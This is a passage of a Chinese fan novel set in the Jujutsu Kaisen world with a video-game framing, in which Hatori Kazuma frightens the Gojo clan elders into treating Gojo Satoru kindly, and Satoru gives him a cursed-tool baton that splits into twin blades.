他仔细看去,发现先是从车里下来一位拎着两根鱼竿的黑发少年——他有印象,就是最近被悟大人带过来,能把长老们吓到避而不见的诡谲人物。 而后下来的白发少年就更明显了,是悟大人。 手里还提着个格外朴实的塑料红桶,光是看上一眼就感觉会被辰雄大人出声训斥“有失五条家体面”。 “悟大人,欢迎回来。” 按照规矩行礼的守卫格外困惑,不知道为什么悟大人会这么晚才回来。 出任务……也不至于带着红桶和鱼竿回来吧,一看就是去钓鱼了。 而他记得这两位中午就出门了。 ……钓鱼还能钓这么晚呢? 守卫的脑海里正升起这个念头,就见到原本拎着红桶,正要路过他往里走的悟大人突然停住脚步。 然后,甚至还转过身对着他,开口的语气超得意。 “你怎么知道我今天钓到了鱼?” 守卫:“……欸?” 跟在后面的羽取一真默默低头,抬手掩住那压不下笑意的嘴角。 第93章 鱼汤泡饭很美味, 五条悟表示下次还要。 这可是他辛苦钓上鱼后的应得奖励! 想想他要是用[苍]把附近的河水都搅在一起,那连带其中的鱼可就会像下冰雹一样哔哩啪啦的,瞬间收获一大堆呢。 不过嘛, 五条悟当然没有这么做。 在五条家以外的地方, 他可是很遵守规则的——钓鱼就是钓鱼,怎么能作弊呢? 何况还有一真陪着他静静坐在河边,无论多久都没有抱怨的意思嘛。 当然,不信自己整个下午加晚上都只能钓上来一两条小鱼的赌气小悟,开始在做任务之余戴起遮阳帽、拎着塑料红桶,有空就去鸭川边上坐着。 羽取一真扛着鱼竿, 也全程陪同。 只有五条辰雄他们受到仆人汇报,被下任家主不务正业、一天到晚跑去钓鱼的行为气了个仰倒, 正握在掌中写字的毛笔怒拍在案几上。 窝家里打游戏就算了, 好歹不会被外人旁观。 上节目接采访他们也忍了, 还能勉强解释成是给五条家做宣传。 但是, 钓鱼?! 五条辰雄简直要破口大骂。 去鸭川钓鱼能给五条家带来任何益处吗?!还会让人看笑话——堂堂五条家的继承人,下任家主, 竟然穿得像去河边玩泥巴似的,就差光脚往外面跑了! 钓鱼嘛,闲情逸致上来,坐钓殿里给那些鱼喂点零食, 或者就着微风与枯山水的景色, 垂钓上一时半刻,五条辰雄能理解。 哪怕那些价值数万、数十万的锦鲤, 挥手让厨房去做成料理,五条辰雄也能理解。 但五条悟这小子,放着钓殿里那么多条人工养殖的锦鲤不肯去钓, 非要跟人跑去鸭川河边野钓,还动辄大半天不回来! 那个黑发少年不在视野里确实是件好事,让五条辰雄都敢开始挺直腰杆骂人。 “老夫真是忍无可忍了!” 他一开口,就说出了连他自己也不知晓的、格外熟悉的一周目台词。 “这小子真是不把任何人放在眼里,将这里当成他随心所欲的游乐园吗!还有那个混账,老夫这次一定要……” ——这句话没能说完,因为他发现那位令人心生恐惧的少年,那位黑发黑瞳的恶魔,就这么慢吞吞跨进了他的书房里! 五条辰雄尚未发泄完怒气,便陡然像被卡住了脖子的鸡,半个音节也吐不下去了。 “你一定要什么?来,继续说说看。” 开口的声音冷淡而平静,甚至还透着点少年特有的、尚未彻底结束变声期的轻微喑哑——却不知为何,能将他吓得条件反射一哆嗦。 “你……你怎么来了?” 与羽取一真的沉稳与淡漠不同,五条辰雄的回应带上些许轻微的颤抖。 就像他至今也搞不明白,为何他们会对黑发少年为何会恐惧到如此地步。 哪怕是排斥或厌恶,也不至于夹杂着如此刻入骨髓的恐惧吧! 遑论细数他过往数十年皆过得顺风顺水,踏入总监部后的权力地位更是藉由[六眼]+[无下限]的实力筹码而步步高升,备受首座器重。 有谁能给他留下如此恐怖的、好似死神在如影随形的恐惧? 乃至一见到这个模样陌生的黑发少年,瞬间爆发出的情绪简直令五条辰雄下意识想要找个什么东西,把自己严严实实的挡起来。 而他问过其余人,竟然也有着与他如出一辙的想法。 这未免也太荒谬了! 五条辰雄他们在背地里挠破了脑袋也想不出个合理缘由,偏偏还不能找人动手除掉——谁让那位大人还用得上他! 甚至连面上都不敢发作——害怕对方向那位大人告状他们妨碍计划。 五条辰雄自觉他们何时受过这种憋屈劲。 而此刻,这口气只能被迫堵在心底已经够难受了,对方竟然还主动过来找他! 竟敢来找他,那他就…就……就也不能拿对方怎么办。 “老夫只是随口戏言罢了。” 五条辰雄忍气吞声,还得自己动手收拾那张沾上了墨点的纸。 一周目加茂家受过的苦,现在轮到二周目的五条家来承受了。 “哦,是这样吗?” 羽取一真太清楚他们害怕的是什么了,闻言淡淡出声道。 “我还以为你觉得我和悟太碍眼,准备动手除掉我们呢。” 发泄被当事人逮了个正着的五条辰雄:“…………” 五条辰雄忍辱负重:“老夫怎么会这样做,遑论你可是计划里的关键一环。” 即使成为了咒术界上层,加入了“制定规则”的行列,也不可忘记真正制定规则的,另有其人。 而那位,会在暗地里,将对他有异议的势力团体逐步清洗掉。 既然选择上座吃饭,就意味着必须要听从这份暗地里的潜规则,不要妄想做出点与那位大人对着干的行为。 听到五条辰雄的这句话,羽取一真的黑瞳微动。 果然与他猜测的一样,掌控盘星教的“教祖大人”与掌控总监部高层的“那位大人”,大概率是同一人。 或者,也有可能是同一势力团体,相当隐蔽,人数极少。 但总而言之,他特意趁漂亮小悟在午睡的时候过来,可不只是想重温老头npc抱怨的。 要说这些陈词滥调,他早在一周目就听过不知道多少回了。 反正,这帮老头npc也只敢口头抱怨而已。 “不会就好。毕竟,” 羽取一真的语速缓慢,微眯起的黑瞳在此刻显得极为强势,连刻意压低的声音也冰冷至极,足以令五条辰雄胆战心惊起来。 “你要是想妨碍我的任务,我就只能杀你了。” 五条辰雄的眉头顿时一颤,浑浊的目光对上羽取一真的。 “杀…杀我?”他不敢置信道。 “是啊,就像这样。” 羽取一真慢条斯理抬起手,比起手枪的姿势,指向五条辰雄的额头——后者却在恍然间,好似真的被一把真丨枪抵住了眉心那般,神色之中流露出难以掩饰的仓皇。 这纯属埋在DNA里的恐惧发作,是羽取一真特意让这位围观过“总监部活阎王驾到”的老头npc变得更害怕一点。 而羽取一真本人,则毫无心理负担的将那个教祖大人拉出来,扯大旗恐吓对方。 “到时候,我就向那位大人禀报你有二心,妄想通过妨碍我的任务,而满足你的私欲;而我,只不过是提前发现你这个意外,并及时铲除。” “我可是【盘星教的圣子】,是盘星教的继任者。你猜,那位大人到底是更相信我的说辞,还是你这个外人的呢?” 虽然羽取一真现在不再是加茂家主,等级也只有三级,更是连术式都用不了,怎么瞧都是只菜鸡。 可他这周目的身份卡,从某种意义上而言,比一周目的加茂家主好用多了。 例如,借着任务的名头来威慑这帮老头npc,欣赏他们无能狂怒,却又不敢干掉自己的样子。 甚至在有必要的时候,他还真能干掉他们且不用付出任何代价;而不像上周目,总被这帮老头npc连带反派在背地里阴戳戳的布局算计。 毕竟这周目的他,也成了反派阵营的一员——还是计划执行者! 羽取一真黑瞳紧盯五条辰雄,微微抬起眉梢,似笑非笑。 表情里流露出的意思很明显。 有本事,你可以来试试我敢不敢杀你。反正要付出性命的人是你。 五条辰雄哽住,根本说不出半句反驳的话。 毕竟那位大人的内线在总监部到处都有,想要推行任何政策或决议,都只需上层里的大多数支持就足够了。 而他,相比计划关键人物的羽取一真,根本无足轻重。 就算他真被杀了,那位大人也不可能会因此责罚对方,顶多训斥两句,就轻轻揭过了。 何况,就算那位大人真把黑发少年也杀了又怎样,难道他就能当场复活吗? “你想要老夫做什么?” 五条辰雄的面色苍白,再开口时,已变得毫无气势。 “我在五条家住的这段时间,发现了点问题。” 羽取一真轻描淡写道,全然一副接到教主大人指示、前来微服私访的口吻。 “例如,我发现五条家的许多族人,似乎是受了你们的言论影响啊,对身为下任家主的悟总是感到不满意。” “你们这样故意排斥下任家主,是不是其实打算借机在暗地里抱团,架空家主,占据权力与资源,以此反抗那位大人的意愿?” 被这么大一口锅扣在脑袋上,把五条辰雄惊得险些当场跳起来。 “当然、当然没有!绝无此事!但是,那个悟他根本不听……” “嗯?” 羽取一真冷冰冰出声,五条辰雄瞬间哑火了,讷讷不敢再往下说。 他怎么忘记了,这位黑发少年不就和五条悟的关系很好吗! 心念电转间,五条辰雄忽然明悟。 羽取一真如此接近五条悟,莫不是也出自那位大人的授意——既然过几年会继任五条家主的五条悟不听他们的话,那就换一个能让他听话的人来,同样能稳稳掌控住五条家。 眼前这位黑发少年,就是怀抱如此目的而来的。 明面上活动在咒术界的他,就相当于那位大人的代行者! 也就是说,他不仅不能再对五条悟横眉竖眼,还必须转为全力支持他上位,顺带助力拉进羽取一真和五条悟的关系。 这样才能达成那位大人的目标。 想通这点的五条辰雄连忙向羽取一真——以及背后的大人表忠心。 “老夫已知晓该如何做了,请相信老夫的忠诚!” “很好。” 羽取一真收回手,声音恢复平淡。 天天看漂亮小悟只要在家里做点什么,就会被这个老头不满几句、被那个老头抱怨几声——真是岂有此理。 而他又通过一周目的情报,知道这些老头和那个[幕后黑手]脱不了干系。 索性来敲打一通,不听话就偷偷干掉得了。 藏头露尾的“教祖大人”他杀不到,这些个总让悟不开心的老头他还杀不到吗,几发[黑闪]下去就不信还能喘气。 不过,与五条辰雄商量的结果还算令人满意。 他也不介意再观察一段时间,先给他们判个死缓。 当羽取一真沿着那条长廊,重新回到漂亮小悟的寝殿里时,盖着毯子在睡的后者已经醒了。 他又是揉眼睛,又是躺在榻榻米上伸懒腰打呵欠,顺带格外放松的滚来滚去,连身上那件宽松的短袖衬衫都被往上带了些,露出一小截线条流畅劲瘦的腰腹。 羽取一真的黑瞳落在那上面片刻,又默默收回。 房间大的好处就在这里,随便五条悟怎么打滚也不会撞到家具。 而此刻,五条悟就是连续几个打滚——连带原本只盖着一个角的薄毯也变成了毛巾卷,把他裹得严严实实——凑近的脑袋冲着在原位置坐下的羽取一真歪了歪,直白的开口问道。 “刚才去哪里了?当心撞到那些讨厌我的老家伙们,被斥责一通喔。” “他们怕我,不敢斥责的。” 羽取一真拿起手柄,边这么回答道。 “就算威胁他们,也只能乖乖听从。” 今天下起了大雨,五条悟就没有出门钓鱼,而是拉着他打游戏。 结果自己又不留神睡着了,正好给他出去找一趟五条辰雄的时间。 五条悟闻言失笑,抬手去戳羽取一真那张格外认真的面瘫脸。 “真敢说啊,明明是个咒术笨蛋来着。” 他没把羽取一真的这句解释放在心上,还以为对方是在一本正经的开玩笑。 主要是想一想也太奇怪啦,那些长老早已身居高位,会有被羽取一真吓到这种离奇事也就算了,怎么可能还听命于对方呢? 直到晚饭时,五条悟又不得不和五条辰雄见面,而对方堪称是和颜悦色的对他开口说话时——险些把五条悟惊到炸毛。 什么,这老头是被谁夺舍了吗?? “据说东京高专与京都高专的姐妹校交流会下个月要开始了,这次在京都高专举办,邀请我们过去参观。” 五条辰雄笑呵呵的对五条悟说话,完全不介意五条悟瞬间被吓得上半身后仰的反应,仿佛真的是个慈眉善目的长辈在叮嘱晚辈。 “我们这些年纪大的老家伙,腿脚也不好,就不打算去凑这个热闹了。你是下任家主,正好又在东京高专上学,不如就和你的朋友一块过去看看?” 五条悟:“…………” 五条悟没有立刻回答,而是狐疑眯起苍瞳,来回扫视对方。 “……你是五条辰雄?真的假的?该不会被鬼上身了吧?” 这话说的,他这辈子都没想过能从五条辰雄嘴里听到。 五条辰雄堪堪维持脸上的笑容:“……” 这小子真是一张口让人来气! 第94章 五条辰雄条件反射就想训斥几句, 但一看见坐在五条悟身边的羽取一真,进而想起后者下午的威胁,刚升腾起来的怒火顿时就偃旗息鼓了。 必须支持五条悟才行, 全力支持! “说什么呢, 存在于这世上的是咒灵,哪来的鬼神。” 此刻的五条辰雄连训斥也变得不痛不痒,语气更是温和无比,把故意和他呛声五条悟的苍瞳都听得瞪大了。 而对方身边那些以往都跟他同仇敌忾,动不动就轮着来“教育”他的长老们,现在也都揣着张格外包容的笑脸对他。 “…………” 除去还算听家族管教的那段幼年时期, 五条悟什么时候再被这老爷爷似的和蔼态度对待过,诡异到令人寒毛直竖。 咯啦—— 五条悟捧在手里的饭碗瞬间裂出一道痕迹, 是他的咒力都被吓失控的证明。 旁边的仆人很有眼色, 立刻给他换了碗新饭。 五条悟:“……” 他是不是在睡这场午觉的过程中, 不小心错过了什么重要的剧情展开? 或者, 他其实还在梦里? 五条悟眨巴眨巴两下苍瞳,下意识往羽取一真的方向看——后者也立刻回以对视, 微微歪过脑袋,似乎在好奇他这是怎么了。 总不会是这只超呆黑豆柴做的吧? 不可能不可能,他都做不到让这帮顽固的老东西改变观念,一真怎么可能办得到啊! 五条悟默默转回脑袋, 对着那张仍旧笑呵呵的老爷爷脸。 五条辰雄当然不会和他说, “邀请参加交流会”这种事情,还是下午紧急联系老友搞定的。 “好吧, 就去看看好了。” 他慢吞吞的、甚至还带着几分警惕的开口回道。 “反正听起来也挺有意思的。” 五条辰雄等人,纷纷在心底舒了口气。 身为核心保守派的他们,自然是如今咒术界秩序的绝对拥护者——而那位大人的存在, 也是由总监部首座暗示给他们,才得以知晓的。 任何反对总监部决议的存在,或是打算针对这出旧秩序做出顺应时代改革的笨蛋,早已被其不动声色的清理掉了。 御三家确实占据了总监部绝大多数的席位,但也不等于御三家的所有人只要达到一定年龄,都必定能成为总监部的其中一员。 这是一种双向的筛选与测验。剔除反对派、留下保守派,长年累月的抱团发展下来,才形成了如今的规模。 至于那位的存在,自然也不是说对他们尽是威胁。 他们顺应对方的意愿行事,而对方会给予足够诱人的利益作为回报。 五条辰雄想要不接受羽取一真的威胁,自然也是有办法的——退出总监部、交出五条家的话事人地位、尽数放弃到手的权力去种地养老,自然就不会有人再刁难他。 包括五条家也是如此。 但五条辰雄舍不得,那些长老同样舍不得。 因此,他们主动跳进了这口染缸,心甘情愿让自己变成了保守派的同党。 对于五条辰雄而言,他确实是看不惯五条悟过于任性的做派,不如隔壁禅院家的那位家主之子稳重,会顺应规矩。 但严格来讲,五条悟顶多只是叛逆了些嘛,强大的实力足够弥补这个缺点了。 五条辰雄这么安慰自己。 换句话说,他要做的事情也不难,只需要不再试图规诫对方,转而支持五条悟当家主,以及支持他成为家主之后发布的命令就好了。 只是改变下态度而已,有什么困难的? 他可不想放弃早已到手的权势。 ——羽取一真正是看透了这点,才敢直接去威胁五条辰雄,让他对悟的态度好点。 不过,他也抱着[要是对方不吃这套,就当场干掉然后让那个教祖大人给他擦屁股]的打算来着。 反正那个教祖还需要他在明年阻止星浆体同化呢,怎么也得保下他的。 不保也行,他立刻把计划捅给那个在东京高专地下待着的天元大人知道。 要论坑起自己这周目的上司,羽取一真压根没有丝毫心理压力。 ………… 而五条悟,这顿饭吃得他简直满脑袋问号。 他完全想不明白这帮老家伙为什么突然如此包容,哪怕被他故意呛声了也不生气,骂他“不尊敬长辈”。 走在回去的路上,五条悟半信半疑的问羽取一真。 “难道,真是你做了些什么?” 羽取一真不会对五条悟撒谎,自然是有问必答。 “反正他怕我,我就去找五条辰雄谈了谈。” 具体怎么谈的就不太好透露了。 但很显然,五条悟自己立刻就脑补出了一长串对话,甚至连一只黑豆柴在冲五条辰雄超凶龇牙的画面也一并勾勒出来——虽然这画面光是想想就很微妙,让他憋不住漏出了几声愉快的笑意。 “还真是你做的……” 五条悟边笑边抬手去揉他脑袋,没想到这只黑豆柴竟然真的如此勇敢! “你也真是不担心那老爷子对你不客气啦。” 羽取一真任由自己的头发又被揉乱成一团,边淡定回道:“他不敢。” “下次可别自己就跑过去了,万一那些长老看你不顺眼,在背后偷偷设下陷阱算计你怎么办?” 心情超好的五条悟环住羽取一真的肩膀,一抬手又拍拍他脑袋,善意提醒道。 “我是不担心自己哦,毕竟我超级强啦,没人能打得过我。但你不一样,是一个还不会用术式的咒术笨蛋呢。” 真是个会让人忍不住操心的家伙。 这么想着,五条悟的唇角却弯弯的,连带那双又大又圆的苍瞳也猫似的眯起来,在为羽取一真担忧他在五条家的待遇而感到极雀跃的开心。 “好。” 羽取一真点头,看起来格外乖巧。 “啊另外,不要暴露出你还不会用术式的情况,我会跟他们说你是个超厉害的一级咒术师!” 拍脑袋还不够,五条悟抬手去戳羽取一真的脸,让他千万要记住不能露馅。 “好。” 羽取一真眼底泛起笑意。 “嗯,等去那个姐妹校交流会前,我先给你找几件咒具伪装一下……” 五条悟捏着下巴,认真思考该如何给羽取一真加点唬人的东西,让这只敢直接去威胁长老的黑豆柴看起来超级不好惹。 “有悟在就够了吧?” 羽取一真眨了下黑瞳,“毕竟,悟是最强的。” “——你这小子,” 洋溢在五条悟脸上的开心不仅完全藏不回去,甚至变得更加灿烂,又忍不住开始搓这只黑豆柴的脑袋。 “拐着弯讨好悟前辈也是没有用的噢!” “咦,没有用吗?” “勉强有点用——只是勉强啦!你身为后辈不要太得意喔,又在偷偷拿眼睛笑我是不是?” “咳……” 第95章 经过羽取一真与五条辰雄的友好交流之后, 五条悟在五条家的待遇陡升。 此处的“待遇”,倒并非指五条悟之前过得不好。 事实上,他因[六眼]+[无下限]而被天然钦定的五条家继任者, 在族内被分配到的、所享有的资源一直都是最高级别。 但五条悟的压力也来源于此。 他自小受到的不仅是整个家族的资源倾斜, 还有这帮长老没完没了的管教与约束。 一言一行都要被规训,举止稍微出格半点就会被斥责,动不动就反复强调“礼数”、“体面”、“权势”之类的“一切以五条家为优先”,让五条悟早已对过度干涉他的五条家本身感到无比厌倦。 这也是他一到15岁就跑去东京咒术高专上学的核心原因。 而前些年,五条悟跟这帮老头呛声的经验太多了,压根没指望过他们能有所改变。 在他的设想里, 最好的结果也不过就是等他正式继任家主后,这些老头就变成顶多在背后嘀咕几声, 明面上开始维持对家主的尊重与服从, 不会再对他说点什么不中听的话。 结果, 羽取一真也不知道是怎么做到的, 竟然当真能改变这帮陈腐的老顽固,让他们成天对自己笑呵呵的, 也不再对他的言行有任何不满。 哪怕在他跟羽取一真钓鱼回来的庭院里碰见,竟然也会被叮嘱一声“当心蚊虫,回头给你送点驱蚊的草药包,下次记得带上”。 五条悟都听惊了。 这还是他从小就认识的那帮迂腐老头吗? 他还以为这些人的笑脸顶多只能维持一晚上……没想到都过去这么久了, 竟然还是一副纵容他的模样? 见鬼啦, 一真到底是怎么做到的,也教教他呗! 眼看五条悟瞪得圆溜溜的苍瞳朝他这边望来, 羽取一真微微一耸肩,表情无辜又纯良。 他只是稍微进行了一下话疗而已,甚至都没有动用武力, 或者还躺在他界面里的无限吃烂饭秘技。 目前看来,成效显著。 只要回到宅邸里,便总是环绕在五条悟周身的那股沉沉压抑感,如今已然消散大半。 虽说比不上在高专上学期间的自在悠哉,但总归不再像他说的那般——只要见到那帮老头,再灿烂的笑容也会瞬间消失。 而此刻,既然老头不再动不动就对他的行为指指点点,五条悟便挑了个时间,愉快地带着他的好哥们去了五条家用来存放咒具的忌库。 “之前说好让你来挑些唬人用的咒具嘛,好歹带一把走啦。反正现在那些老头又不敢我们对大声说话,挑一样拿去用也没什么吧?” 五条悟双手环抱在胸前,用一种格外审视的目光环顾这间摆放有各种武器的忌库,似乎在帮羽取一真筛选哪样咒具最趁手。 作为存放有大量咒具资产的忌库,它的周围被设下多重结界,并将其建设在没有窗户的地底,全靠挂在天花板的那盏钨丝灯照明,视野内的景象相当昏暗。 放眼望去,摆放在这里的咒具各种稀奇古怪的样式都有,但几乎全是冷兵器。 倒是还有中距离射程的弓箭,但羽取一真压根没用过,估计连拉弓的架势都得从头学起。 羽取一真完全看不懂这些咒具都有什么名堂,便摇摇头。 “我不会挑。” 而且他要是运气好,以后大概率还能刷到会奖励装备的任务——就像上周目的[血寄斗枪],好用得很,他还怪想念的。 不过,羽取一真也有点好奇。 他在一周目也算是见过不少术师了,感觉挺少见到有使用武器的;尤其是御三家的术师,似乎很崇尚赤手空拳进行战斗?然后就被他一枪一个。 “才没有啦。” 听完他疑问的五条悟笑着摆手。 “咒具呢,其实是蕴含诅咒的武具,本身就不是天然形成的东西。要么是术师长年搭配术式使用后的武器,要么是锻造的过程或材料里饱含负面气息的凶器,例如连环杀人的作案工具,或是我之前见过的,使用人类部分躯体制作的……” 说到这里,五条悟先自己打了个小小的激灵,露出超级嫌弃的表情,完全不想再讲下去了。 看起来,他在上高专前的那些丰富咒灵祓除经验里,还掺杂了一点超恶心的诅咒师遭遇战——可能当时还对那把咒具好奇过。 羽取一真被他这难得打颤、连白毛都快炸开的模样可爱到了,转头轻轻咳了一声。 等他的目光再转回来时,就见到那副墨镜被推起,稳稳架在纯白的发丝间;而那双苍瞳已经十分控诉的眯起来了,显然一眼就看透了这小子在偷偷笑什么。 羽取一真:“…………” 摆出了有点无辜的表情。 而后完全没有反抗,被伸过来的掌心使劲揉搓了一把脑袋,算作惩罚。 心满意足的五条悟,这才接着继续解释道。 “有些术师的生得术式,光是发动本身就需要搭配各种稀奇古怪的工具战斗,这种情况下用什么的都有,具体得看术式的需求——而这些工具经过术师的长期使用后,本身也有可能获得术式的效果。” “不过啦,其实就算想要使用咒具,也很难找到恰好合适的。为了防止有心人利用咒具干坏事,咒术界的咒具基本都被御三家和高专回收了,流通在外的咒具相当稀少,凡是等级高一点或品质好一点的,开价都会很高。” “嗯……还有些术师,比如我呢,发动生得术式并不需要借助工具,通常也就不会想到要使用咒具。” “好比我本身用术式就足够秒杀敌人了,再带把剑啊枪的这么明显的管制刀具上街,不是超级吸引路人注意力嘛,还容易被警察盯上。” 说到这里,五条悟摊开手,摆出一个[我这么强真是没办法呢]的邀功式骄傲表情。 “确实。” 羽取一真想了想,认为漂亮小悟说的很道理。 按照这款游戏的设定,非术师既看不见咒灵,也看不见发动中的术式。 也就是说,原本空手就可以出任务、不会引起路人警惕的悟,如果非要带把长度超过六厘米的冷兵器在身上,不仅坐不了电车,还有可能会被路人报警。 “那我应该也用不上。” 他总是和悟一起出任务的,怎么能带把如此不方便的管制刀具在身上。 五条悟听到这个不会用术式的黑豆柴竟然一本正经的也接话说自己用不上,似乎同样可以秒杀敌人似的,便忍不住笑起来,拍拍他脑袋。 “你还是带把防身的好啦,我都已经想好给你用什么了哦。” 五条悟笑着又揉了他脑袋一吧,并且发觉自己好像……有点揉上瘾,简直成了习惯性动作。 奇怪,他对其他人也没有这样的爱好来着…? “在之前磨炼体术的实战对练里,我问你有没有想要使用的冷兵器,你不是选择了短棍吗?” 那个念头只在五条悟的脑海里盘旋了一会,想不通后就立刻丢开了,转而继续将注意力集中在当前话题上。 “嗯。” 羽取一真点头。 短棍的标准长度通常在70厘米,是一种方便携带、不起眼、杀伤力又会出乎敌人意料的武器。 只要材质不选打击感沉重的钢或者硬木,在体术的练习上也相当方便,不至于误伤陪练对象。 其实,这也是为他自己着想。 他以前从来没有使用冷兵器的经验,如果一上来就使用开刃的兵器,羽取一真也很担心在没有打到敌人前,先把自己送走。 要是因为这种事情死而复活,就跟野外刷怪时不小心从悬崖边掉下去然后瞬间暴毙,不得不返回就近复活点那样尴尬。 “我之前就有想过,短棍没有锋利的刀刃,就算注入了诅咒,想要对咒灵产生彻底祓除的杀伤力,相对来说也是一件比较困难的事情。” 五条悟边随口说出他暗地里一直在为羽取一真考虑的内容,边用[六眼]缓慢逡巡这些咒具,似乎在认真观察它们其中蕴含的诅咒。 羽取一真没有接话,眼底却已然柔软下来,宛若被樱花瓣落下的湖面,连那泛起的轻微涟漪也能令心脏怦然而动。 羽取一真看着五条悟审视半晌,终于去往其中一个置物架前,将第二层的一根短棍拿在手里,折回交给他。 这是一根70厘米的标准短棍,木质的纹理极黑,入手很沉,直径大约3厘米,羽取一真的手握起来恰好合适。 “其实高专的忌库那边倒是也有一部分咒具啦,但那里不仅有五条家的,禅院家和加茂家也各放了一部分在那委托保管。所以啊,就算在那里挑中了你趁手的咒具,也不一定能被允许带走。” 羽取一真点头,专注听五条悟讲解着这些他在其它游戏里绝对不会去了解的背景设定。 “这根短棍的名字是[业双],棍体的材质是极濒危的卡玛贡硬木,颜色越黑代表它越坚硬,想打断敌人的骨头也超级轻松喔!啊还有这里,一个小机关。” 见羽取一真挥舞几下,似乎已习惯了它的手感,五条悟便又露出一点哼哼坏笑,伸手拿起那根短棍,双手各握住一端,交错着轻轻拧动,而后拔出。 锵啷—— 这根短棍自正中间出现平滑的裂纹,紧接着是贴在一起的两把利刺,悍然出鞘,锋芒毕露。 一根70厘米的短棍,就此被分为两根接近70厘米的短刃,在灯光下流淌着残酷的冷光。 在杀伤力上,原本朴实无华的它,在此刻陡然化作了极凶悍的冷兵器。 [业双]中的“双”,其含义正来源于此。 五条悟双手各执一柄短剑,极灵巧地挥了几下,给羽取一真做演示——他只是在战斗中用不上咒具,并不意味着他不擅长使用它们。 “只有术师才能拔出这两把短剑,非术师只会把它当成普通的短棍。这样一来,你就不用担心会被警察盘问了!” 在五条悟说话期间,那两把短剑仍在他指尖极轻盈的绕着花。 “当然啦,它的效果不只有这样。” 倏尔,其中一柄短剑被五条悟甩手扔了出去,好似飞镖般笔直刺向空中。 这间忌库的规模并不大,那把短剑眨眼间飞出数米,就在即将插进墙壁之前—— 五条悟随即抬手将另一柄短剑指向那个方位,便见到那柄飞出去的剑震颤片刻,迅速倒转刃身,既如流星那般疾驰而来,却又精准无比落入属于它的半身剑鞘之内。 隐隐光华闪过,这两柄短剑又化作了朴实无华的短棍,被五条悟握在手里,再度递给羽取一真。 “无论另一柄短剑距离多远,只要意念一动,就能回来喔。” 他笑着冲羽取一真眨眨眼,邀功似的表情可爱极了。 “啊不过呢,现在你要开始从单棍练习,变成双棍了呢——” 他绝对没有看热闹的意思,哎嘿,半点也没有。 五条悟想起这只黑豆柴连短棍都是从笨拙开始慢慢熟练一些的,就特别期待他练双棍时的模样。 搞不好还会敲到自己一棍? 到时候他是大声点笑呢,还是小声点笑呢? 而羽取一真,在他重新接过由漂亮小悟讲解完毕的那根短棍时,眼前竟然弹出了系统浮窗。 【获得装备:[业双]。】 【[业双]:可在短棍形态与双刃形态之间切换,对目标进行攻击。 短棍形态:可配合[黑闪]技能使用,钝击的威力增强2.5次方,使用时消耗大量咒力。可配合[十方摩诃]使用,待解锁。 双刃形态:可配合[十方摩诃]使用,待解锁。】 第96章 竟然真的是游戏认可的装备! “谢谢, 我会还的。” 羽取一真眼睛顿时微亮,收下这根能提高他攻击力的短棍时,脸上近乎是肉眼可见的雀跃。 只要等他再刷出第二件装备, 这件就可以还给漂亮小悟了。 毕竟他刚才有听对方讲的那一长串设定, 里面有说咒具是相当贵的。 “还?” 五条悟皱起了点眉毛,甚至分外不满意的撇起嘴——也没有特别撇,目测大约压下去了几个像素点。 跟他面对那些长老,立刻撇成[へ]的嘴角相比,这点变化简直微妙得险些分辨不出来。 “这是我送你的……就当做是提前送的生日礼物,不准还。” 他停顿片刻, 又对这个超呆的黑豆柴强调一次。 “不准还给我,听见没有?” 羽取一真哑然眨了下黑瞳, 看向五条悟, 表情似乎在说[可它超贵的, 你随便拿走送我的话, 那些老家伙会不会生气?]。 于是,五条悟那压下去的嘴角怎么也沉不下去了, 瞬间就愉快的又翘起来,还翘高高的。 比刚才还高。 “哎呀,你这么担心前辈喔?” 明明羽取一真没有说话,脸上的情绪波动又总是太过轻微, 以至于总被御子柴吐槽成面瘫、闷骚白毛控酷哥、说自己御宅都根本没人相信的现充冰山脸。 但五条悟却能准确读出他的意思, 并且笑着搂过这只黑豆柴的肩膀,让他收好这根短棍。 “好啦好啦, 那些老家伙只能在口头念叨而已,根本不会真的对我怎样啦。” 五条悟的另一只手并拢二指,在他眼前摇了摇, 又一下戳在人脸上。 在不知不觉里,他早已与羽取一真相处得比以往更亲昵。 “不是你和我说的吗?我可是[最强]——” 连声音也带上笑意,比任何时候都要显得愉快;也完全不需要掩饰自己的开心,因为他知道对方的情绪亦是如此。 羽取一真抵着五条悟的指尖歪过头,丝毫不介意自己的脸正被对方戳着,像是在戳什么好玩的软绵绵面团。 “嗯,如果他们敢对你动手,” 他的唇角也抿出一点愉快的笑意,浅淡却真实。 “我会杀掉的。” 就像一周目那样。 一周目的他,有好好履行对悟的诺言,成功反杀了那个想要算计悟的幕后黑手。 如果不是后来存档崩坏,他还能再进去对悟邀功来着…… 羽取一真的情绪尚未来得及升起些许怅然,便听到旁边的五条悟开口回答道,语气认真而笃定。 “我相信你。” 甚至,声线也似乎被刻意压得偏低,既沉又稳,近乎是瞬间将羽取一真带回了一周目,恍然间好似听见漂亮大悟在对他说这句话。 羽取一真蓦然抬头。 他对上的仍旧是那双又大又圆的漂亮苍瞳,透着少年特有的满满意气与锋芒,仿若天底下没有能压垮他的事物存在。 五条悟没有说“你这个咒术笨蛋怎么做得到杀掉对方啦”、“换我来杀还差不多,后辈还是乖乖被我保护就行”、或是“好歹是咒术界的上层,也随便动手会被当成诅咒师追杀哦”之类的话。 而是用一种近乎本能的反应,对眼前这位还只是个三级咒术师的羽取一真回应道。 [我相信你]。 坚定得就像,他知道他曾经做到过这个承诺那样。 羽取一真缓慢闭了下黑瞳,也掩去骤然泛上的些许酸涩感。 这是款游戏,而一周目的悟已经因为存档损坏,再也回不来了。 “嗯……” 羽取一真闷闷应出声,反而让原本正疑惑自己为什么会脱口而出这句话的五条悟抬了抬眉毛,转而“欸”出声。 “难道,你其实对自己没有这个自信?” 怎么用这种恹恹的口吻回应啦! 羽取一真摇头:“怎么可能。” 他这周目已经很收敛了,要是换成能复活回去的上周目,他早就大开杀戒,首当其冲就是这帮又阴搓搓算计他的总监部。 别和他说什么总监部没有明显针对他的动作,消极造反也是一种造反。 五条悟想了想,安慰这只不知为何情绪突然低落下去的黑豆柴。 “放心啦放心啦,你以后肯定会变得很强的。” 五条悟拍他脑袋,边带着人往忌库外面走。 “到时候,我就可以说[我们是最强]喔!” “好。” “所以啦别沮丧,来嘛,用眼睛再笑一个给我看看,就像你平时那样?” “……” ……… 五条悟刚带着羽取一真从忌库摸走一把咒具没多久,五条辰雄就收到了消息。 五条悟也不指望自己能瞒过长老们,正等着他们上门来找他要说法呢。 就算平时只是看不惯的言行举止,现在也不再出声训斥了。 但毕竟是带走了一把价值相当高的咒具,他们肯定会过来对着他啰嗦一大通,话里话外都是对他的行为表示不满。 